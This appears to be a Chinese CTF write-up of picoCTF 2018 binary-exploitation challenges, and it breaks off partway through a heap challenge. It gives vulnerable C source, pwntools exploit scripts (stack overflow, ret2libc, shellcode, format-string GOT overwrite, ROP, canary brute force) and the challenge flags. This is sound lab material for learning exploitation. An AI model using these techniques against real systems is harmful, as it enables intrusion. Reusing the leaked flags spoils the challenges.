内容简介：国庆期间得知了美国CMU主办的picoCTF比赛，出于最近做题的手感有所下降，借此比赛来复习下PWN相关的题型（题目的质量不错，而且题型很广，自我感觉相当棒的比赛）先检查一遍文件
前言
国庆期间得知了美国CMU主办的picoCTF比赛，出于最近做题的手感有所下降，借此比赛来复习下PWN相关的题型（题目的质量不错，而且题型很广，自我感觉相当棒的比赛）
buffer overflow 0
先检查一遍文件
➜ bufferoverflow0 file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e1e24cdf757acbd04d095e531a40d044abed7e82, not stripped
➜ bufferoverflow0 checksec vuln
[*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow0/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
由于这题给了源码所以我们直接看源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
fprintf(stderr, "%sn", flag);
fflush(stderr);
exit(1);
}
void vuln(char *input){
char buf[16];
strcpy(buf, input);// !stackoverflow
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
if (argc > 1) {
vuln(argv[1]);
printf("Thanks! Received: %s", argv[1]);
}
else
printf("This program takes 1 argument.n");
return 0;
}
不难看出传入的参数没有限制大小造成在vuln函数里面strcpy至buf时可能导致栈溢出，而这题只要将程序执行流劫持到sigsegv_handler函数就可以读flag，直接放exp
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
elf = ELF('./vuln')
flag_addr = 0x804a080
puts_plt = elf.plt['puts']
buf = 'a'*0x18
payload = buf + 'aaaa'
payload += p32(puts_plt) + 'aaaa' + p32(flag_addr)
n = process(argv=['./vuln', payload])
n.interactive()
FLAG
picoCTF{ov3rfl0ws_ar3nt_that_bad_a54b012c}
buffer overflow 1
检查一遍文件
➜ bufferoverflow1 file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=98eac1e5bfaa95437b28e069a343f3c3a7b9e800, not stripped
➜ bufferoverflow1 checksec vuln
[*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow1/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
全都没开，大胆猜测是要我们写shellcode，看源码确认一波
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%xn", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
emmmm……看起来是可以用ret2shellcode但感觉有点麻烦，所以就简单套路直接溢出后劫持返回地址为win函数直接getflag
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
n = process('./vuln')
elf = ELF('./vuln')
buf = 0x28
win_addr = 0x080485CB
payload = 'a'*buf + 'aaaa' + p32(win_addr)
n.sendline(payload)
n.interactive()
FLAG
picoCTF{addr3ss3s_ar3_3asy14941911}
leak-me
➜ leak-me file auth
auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c69a8024075d10a44fe028c410f5a06580bd3d82, not stripped
➜ leak-me checksec auth
[*] '/home/Ep3ius/pwn/process/picoCTF2018/leak-me/auth'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
看源码分析一下程序的主要功能
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
// real pw:
FILE *file;
char password[64];
char name[256];
char password_input[64];
memset(password, 0, sizeof(password));
memset(name, 0, sizeof(name));
memset(password_input, 0, sizeof(password_input));
printf("What is your name?n");
fgets(name, sizeof(name), stdin);
char *end = strchr(name, 'n'); //name='a'*0x100 *end = NULL
if (end != NULL)
{
*end = 'x00';
}
strcat(name, ",nPlease Enter the Password.");
file = fopen("password.txt", "r");
if (file == NULL)
{
printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(password, sizeof(password), file);
printf("Hello ");
puts(name);
fgets(password_input, sizeof(password_input), stdin);
password_input[sizeof(password_input)] = 'x00';
if (!strcmp(password_input, password))
{
flag();
}
else
{
printf("Incorrect Password!n");
}
return 0;
}
我们可以看到存在一个很经典的栅栏错误类型的off-by-one漏洞，当name输入为‘a’*0x100 时栈上的结构会如下图所示
我们知道puts是根据’x00’来判断字符串的末端来输出，根据程序逻辑正常的情况下应该是像左图一样是以’n’为结尾的字符串，然后通过源代码43—47行来将’n’替换成’x00’使得puts(name)能正确输出输入的name，但如果输入了’a’*256的话，会导致最后一个’n’并没有读入而导致程序在puts(name)时会连带下面的password一起输出，这样我们就可以得到服务器上的password为
a_reAllY_s3cuRe_p4s$word_f85406
然后直接连服务器，输入长度小于256的name和leak出来的password就能直接拿到flag
FLAG
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_0f7ec3c0}
shellcode
➜ shellcode file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=fdba7cd36e043609da623c330a501f920470b49a, not stripped
➜ shellcode checksec vuln
[*] '/home/Ep3ius/pwn/process/picoCTF2018/shellcode/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
emmmm……防护机制全没开而且题目还叫shellcode，应该错不了是写shellcode了
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter a string!");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
return 0;
}
简单审计源码后发现还真是只要写个shellcode就没了，直接给exp
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
n = process('./vuln')
elf = ELF('./vuln')
payload = asm(shellcraft.sh())
n.sendline(payload)
n.interactive()
FLAG
picoCTF{shellc0de_w00h00_7f5a7309}
bufer overflow2
➜ bufferoverflow2 file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f2f6cce698b62f5109de9955c0ea0ab832ea967c, not stripped
➜ bufferoverflow2 checksec vuln
[*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow2/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
审计一下源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xDEADC0DE)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
我们很容易理解题目是要我们通过vuln函数里的栈溢出把执行流劫持到win函数，并且要使传入的参数为0xDEADBEEF和0xDEADC0DE，由于是32位程序，所以直接p32(0xDEADBEEF)+p32(0xDEADC0DE)构造ROP来getflag
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
n = process('./vuln')
elf = ELF('./vuln')
buf = 'a'*0x6c
win_addr = 0x80485CB
payload = buf + 'aaaa' + p32(win_addr)+ 'aaaa' + p32(0xDEADBEEF) + p32(0xDEADC0DE)
n.sendline(payload)
n.interactive()
FLAG
picoCTF{addr3ss3s_ar3_3asy30833fa1}
got-2-learn-libc
➜ got-2-learn-libc file vuln
vuln: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4e901d4c8bdb0ea8cfd51522376bea63082a2734, not stripped
➜ got-2-learn-libc checksec vuln
[*] '/home/Ep3ius/pwn/process/picoCTF2018/got-2-learn-libc/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
开了PIE，然而看到程序觉得开没开都没差的样子
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */
void vuln(){
char buf[BUFSIZE];
puts("Enter a string:");
gets(buf);
puts(buf);
puts("Thanks! Exiting now...");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Here are some useful addresses:n");
printf("puts: %pn", puts);
printf("fflush %pn", fflush);
printf("read: %pn", read);
printf("write: %pn", write);
printf("useful_string: %pn", useful_string);
printf("n");
vuln();
return 0;
}
是的，就是一个简单的ret2libc的应用，通过printf出的地址我们可以得到偏移量，然后去计算system的实际地址，然后把useful_string输出的地址，也就是”/bin/sh”当作参数来构造ROP来执行system(‘/bin/sh’)
我们先连上题目环境看下文件链接的libc文件的路径
Ep3ius@pico-2018-shell-2:/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833$ ldd *
vuln:
linux-gate.so.1 => (0xf77c5000)
libc.so.6 => /lib32/libc.so.6 (0xf75ff000)
/lib/ld-linux.so.2 (0xf77c6000)
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
n = process('./vuln')
elf = ELF('./vuln')
libc = ELF('/lib32/libc.so.6')
buf = 'a'*0x9c
system_sym = libc.symbols['system']
puts_sym = libc.symbols['puts']
n.recvuntil('puts: 0x')
puts_addr = int(n.recvuntil('n'),16)
print hex(puts_addr)
n.recvuntil('useful_string: ')
sh_addr = int(n.recvuntil('n'),16)
print hex(sh_addr)
system_addr = (puts_addr - puts_sym) + system_sym
payload = buf + 'aaaa' + p32(system_addr) + 'aaaa' + p32(sh_addr)
n.sendline(payload)
n.interactive()
➜ echooo file echo
echo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a5f76d1d59c0d562ca051cb171db19b5f0bd8fe7, not stripped
➜ echooo checksec echo
[*] '/home/Ep3ius/pwn/process/picoCTF2018/echooo/echo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
char flag[64];
char *flag_ptr = flag;
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
memset(buf, 0, sizeof(flag));
memset(buf, 0, sizeof(buf));
puts("Time to learn about Format Strings!");
puts("We will evaluate any format string you give us with printf().");
puts("See if you can get the flag!");
FILE *file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(flag, sizeof(flag), file);
while(1)
{
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
return 0;
}
审计完源码后发现在main函数末尾存在可多次利用的格式化字符串漏洞，而flag已经读入到栈上本来的解题思路应该是通过格式化字符串读栈上flag所在的位置来获得flag，但我的第一想法是直接改printf_got为system的实际地址拿shell
先测出来偏移为11
➜ echooo ./echo Time to learn about Format Strings! We will evaluate any format string you give us with printf(). See if you can get the flag! > aaaa%11$x aaaa61616161
然后通过p32(printf_got)+”%11$s”泄露出printf的实际地址来计算偏移以此得到system的实际地址
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
#n = process('./echo')
n = remote('2018 shell 2.picoctf.com',57169)
elf = ELF('./echo')
libc = ELF('/lib32/libc.so.6')
#printf_got = elf.got['printf']
printf_got = 0x804a00c
printf_sym = libc.symbols['printf']
system_sym = libc.symbols['system']
payload = p32(printf_got)+'%11$s'
n.recvuntil('>')
n.sendline(payload)
#leak
printf_addr1 = n.recvuntil('n')
printf_addr = u32(printf_addr1[5:9])
print hex(printf_addr)
offset = printf_addr - printf_sym
system_addr = offset + system_sym
print hex(system_addr)
payload_fmt = fmtstr_payload(11,{printf_got:system_addr})
n.recvuntil('>')
n.sendline(payload_fmt)
sleep(0.1)
n.sendline('/bin/sh')
n.interactive()
FLAG
picoCTF{foRm4t_stRinGs_aRe_DanGer0us_e3d226b2}
authenticate
➜ authenticate file auth
auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=36db9dbaf46e8f9c9055839ffedd30fe65050a47, not stripped
➜ authenticate checksec auth
[*] '/home/Ep3ius/pwn/process/picoCTF2018/authenticate/auth'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
审计下源码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
int authenticated = 0;
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!n");
}
else {
printf("Access Granted.n");
flag();
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Would you like to read the flag? (yes/no)n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:n");
printf(buf);
}
read_flag();
}
简单的过一遍我们可以得到程序的大致流程，如果输入的字符串内带有”no”就退出程序，如果输入的字符串带有”yes”且没有”no”便进入unknown_input分支并触发了一个格式化字符串漏洞，然后程序继续执行进入read_flag()函数里，先进行一个判断，如果authenticated不为0就能调用flag函数来getflag，而authenticated是在一开始就全局定义为0了，这时我们能想到通过利用前面的格式化字符串来修改authenticated的值
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
#n = process('./auth')
n = remote('2018shell2.picoctf.com',52398)
elf = ELF('./auth')
puts_got = elf.got['puts']
puts_sym = elf.symbols['puts']
authenticated_addr = 0x0804A04C
payload = fmtstr_payload(11,{authenticated_addr:0xDEADBEEF})
n.sendline(payload)
n.interactive()
FLAG
picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_0bec1698}
got—shell?
➜ got-shell file auth
auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5c1f84b034b4906cce036c3748d4b5a5c3eae0d8, not stripped
➜ got-shell checksec auth
[*] '/home/Ep3ius/pwn/process/picoCTF2018/got-shell/auth'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
看一波源码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
void win() {
system("/bin/sh");
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[256];
unsigned int address;
unsigned int value;
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
scanf("%x", &address);
sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
puts(buf);
scanf("%x", &value);
sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
puts(buf);
*(unsigned int *)address = value;
puts("Okay, exiting now...n");
exit(1);
}
开始还以为自己是不是C没学好，这题怎么可能这么简单输入两个地址就getshell了，结果发现还真的是。程序的逻辑大致为输入一个十六进制的地址，然后再输入一个十六进制的数值，然后把第一次输入的地址的值替换成输入的数值，我们可以很容易想到用win函数的地址去替换puts_got，这样在程序调用puts时就相当调用了win函数来getshell
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
#n = process('./auth')
n = remote('2018shell2.picoctf.com',23731)
elf = ELF('./auth')
puts_got = elf.got['puts']
win_addr = 0x0804854B
n.sendline(hex(puts_got))
sleep(0.1)
n.sendline(hex(win_addr))
n.interactive()
FLAG
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_a8321d81}
rop chain
➜ ropchain file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=86b31b317beb6a0fac1439ef6b2a271e0132537e, not stripped
➜ ropchain checksec rop
[*] '/home/Ep3ius/pwn/process/picoCTF2018/ropchain/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
看一下源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define BUFSIZE 16
bool win1 = false;
bool win2 = false;
void win_function1() {
win1 = true;
}
void win_function2(unsigned int arg_check1) {
if (win1 && arg_check1 == 0xBAAAAAAD) {
win2 = true;
}
else if (win1) {
printf("Wrong Argument. Try Again.n");
}
else {
printf("Nope. Try a little bit harder.n");
}
}
void flag(unsigned int arg_check2) {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(flag, sizeof(flag), file);
if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
printf("%s", flag);
return;
}
else if (win1 && win2) {
printf("Incorrect Argument. Remember, you can call other functions in between each win function!n");
}
else if (win1 || win2) {
printf("Nice Try! You're Getting There!n");
}
else {
printf("You won't get the flag that easy..n");
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
审计过代码后我们可以得到程序中各个函数的功能和作用，像win_function1函数的作用为将全局变量win1的值赋为1，win_function2函数的作用是在win1非0且传入的参数为0xBAAAAAAD时将全局变量win2的值赋为1，flag函数的作用是当全局变量win1，win2都不为0且传入的参数为0xDEADBAAD时输出flag，这样我们就知道要通过vuln函数里的栈溢出来构造ROP去分别执行这三个函数getflag
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
n = process('./rop')
elf = ELF('./rop')
func1 = 0x080485CB
func2 = 0x080485d8
flag = 0x0804862B
pop_ret = 0x080485d6
buf = 'a'*0x18
payload = buf + 'aaaa'
payload += p32(func1)+p32(pop_ret) + p32(0)
payload += p32(func2)+p32(pop_ret) + p32(0xBAAAAAAD)
payload += p32(flag)+p32(pop_ret) + p32(0xDEADBAAD)
n.recvuntil('>')
n.sendline(payload)
n.interactive()
FLAG
picoCTF{rOp_aInT_5o_h4Rd_R1gHt_6e6efe52}
buffer overflow 3
➜ bufferoverflow3 file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=49bf81f7f16a1c26cfbbb0a70bb89246fadc370e, not stripped
➜ bufferoverflow3 checksec vuln
[*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow3/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
嗯，没开canary，看一波源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 32
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("*** Stack Smashing Detected *** : Canary Value Corrupt!n");
exit(-1);
}
printf("Ok... Now Where's the Flag?n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
int i;
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
打开审计后发现它自己实现了一个简易的Canary防护函数，我们针对canary常用的攻击方式中Stack Smashing Protector Leak
攻击可以立马否决，因为错误回显并没有输出avgr[0]这个必要条件。程序中canary的值是从一个内容不变的文本文档中读取的，所以我们可以通过写爆破脚本去把canary的具体内容输出出来。
通过ida我们可以得到canary插入在栈上0x10的位置，输入的首地址位于栈上0x30，
char buf; // [esp+28h] [ebp-30h] int canary; // [esp+48h] [ebp-10h]
我们运行程序测试一下
➜ bufferoverflow3 ./vuln How Many Bytes will You Write Into the Buffer? > 32 Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Ok... Now Where's the Flag? ➜ bufferoverflow3 ./vuln How Many Bytes will You Write Into the Buffer? > 33 Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa *** Stack Smashing Detected *** : Canary Value Corrupt!
确认canary插入的位置为0x20
bp.py
from pwn import*
#canary = 'h_?='
canary = ''
for i in range(4):
for a in range(0xff):
n = process('./vuln')
n.recvuntil('> ')
n.sendline('36')
n.recvuntil('Input> ')
payload = 'a'*0x20+canary+chr(a)
#print chr(a)
n.send(payload)
try:
n.recvuntil('*** Stack Smashing Detected ***')
except:
if canary=='':
canary = chr(a)
else:
canary += chr(a)
n.close()
break
else:
n.close()
print 'canary:',canary
通过爆破我们得到canary的值为”h_?=”实在是鬼畜，本以为是PICO的我还是太天真了
在知道canary的情况下，剩下的就是简单的栈溢出劫持程序执行流至win函数就能get flag了
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
n = process('./vuln')
elf = ELF('./vuln')
canary = 'h_?='
win_addr = 0x080486EB
payload = 'a'*0x20+canary+'a'*(0x10-len(canary)+4)+p32(win_addr)
n.recvuntil('> ')
n.sendline('100')
n.recvuntil('Input> ')
n.sendline(payload)
n.interactive()
echo back
➜ echo back file echoback
echoback: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a0980ead6e67788ea13395e9bdd23f0fe3d0b2c8, not stripped
➜ echo back checksec echoback
[*] '/home/Ep3ius/pwn/process/picoCTF2018/echo back/echoback'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
开了NX和Canary，审计下源码……然而这题并没有给，那就开ida看一下程序干了些什么
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // ST1C_4
setvbuf(_bss_start, 0, 2, 0);
v3 = getegid();
setresgid(v3, v3, v3);
vuln();
return 0;
}
我们在vuln函数里发现存在一个格式化字符串漏洞，由于我太菜了没能想出能只用一次格式化字符串就能getshell的payload，所以就想先把puts_got改成了vuln函数的地址，让这个格式化字符串漏洞能多次触发。
我们审计过程序后能得到的大致思路为先测出偏移，修改puts_got为vuln函数地址使得漏洞能多次触发，然后通过p32(system_got)+fmt_offset来得到system的真实地址，再把system的真实地址写入printf_got，然后在下一轮循环中输入’/bin/sh’后printf(‘/bin/sh’)就相当执行了system(‘/bin/sh’)来getshell
➜ echo back ./echoback input your message: aaaa%7$x aaaa61616161 Thanks for sending the message!
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
#n = process('./echoback')
n = remote('2018shell2.picoctf.com',37402)
elf = ELF('./echoback')
printf_got = elf.got['printf']
puts_got = elf.got['puts']
system_got = elf.got['system']
vuln_addr = 0x080485AB
payload1 = fmtstr_payload(7,{puts_got:vuln_addr})
n.recvuntil('message:')
n.sendline(payload1)
leak_payload = p32(system_got)+'%7$s'
n.send(leak_payload)
n.recvuntil('message:')
system_addr = u32(n.recv()[5:9])
print hex(system_addr)
payload = fmtstr_payload(7,{printf_got:system_addr})
n.sendline(payload)
n.interactive()
are you root?
➜ are_you_root file auth
auth: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=42ebad5f08a8e9d227f3783cc951f2737547e086, not stripped
➜ are_you_root checksec auth
[*] '/home/Ep3ius/pwn/process/picoCTF2018/are_you_root/auth'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
源码分析过一遍后,我们锁定了几个存在漏洞可能的分支
输入用的是fgets
if(fgets(buf, 512, stdin) == NULL)
break;
typedef enum auth_level {
ANONYMOUS = 1,
GUEST = 2,
USER = 3,
ADMIN = 4,
ROOT = 5
} auth_level_t;
struct user {
char *name;
auth_level_t level;
};
login分支
else if (!strncmp(buf, "login", 5))
{
if (user != NULL)
{
puts("Already logged in. Reset first.");
continue;
}
arg = strtok(&buf[6], "n");
if (arg == NULL)
{
puts("Invalid command");
continue;
}
user = (struct user *)malloc(sizeof(struct user));
if (user == NULL)
{
puts("malloc() returned NULL. Out of Memoryn");
exit(-1);
}
user->name = strdup(arg);
printf("Logged in as "%s"n", arg);
}
reset分支
else if(!strncmp(buf, "reset", 5))
{
if (user == NULL)
{
puts("Not logged in!");
continue;
}
free(user->name);
user = NULL;
puts("Logged out!");
}
我们先登陆一个name=’a’*0x10,level=3的账号，下断点看一下堆里面的分布
gdb-peda$ parseheap addr prev size status fd bk 0x603000 0x0 0x410 Used None None 0x603410 0x0 0x20 Used None None 0x603430 0x0 0x20 Used None None gdb-peda$ x/8x 0x603410 0x603410: 0x0000000000000000 0x0000000000000021 0x603420: 0x0000000000603440 <-*name 0x0000000000000003 <-level 0x603430: 0x0000000000000000 0x0000000000000021 0x603440: 0x6161616161616161 <-name 0x6161616161616161 <-name gdb-peda$ 0x603450: 0x0000000000000000 0x0000000000020bb1 0x603460: 0x0000000000000000 0x0000000000000000 0x603470: 0x0000000000000000 0x0000000000000000 0x603480: 0x0000000000000000 0x0000000000000000
然后reset这个账号，再看下堆
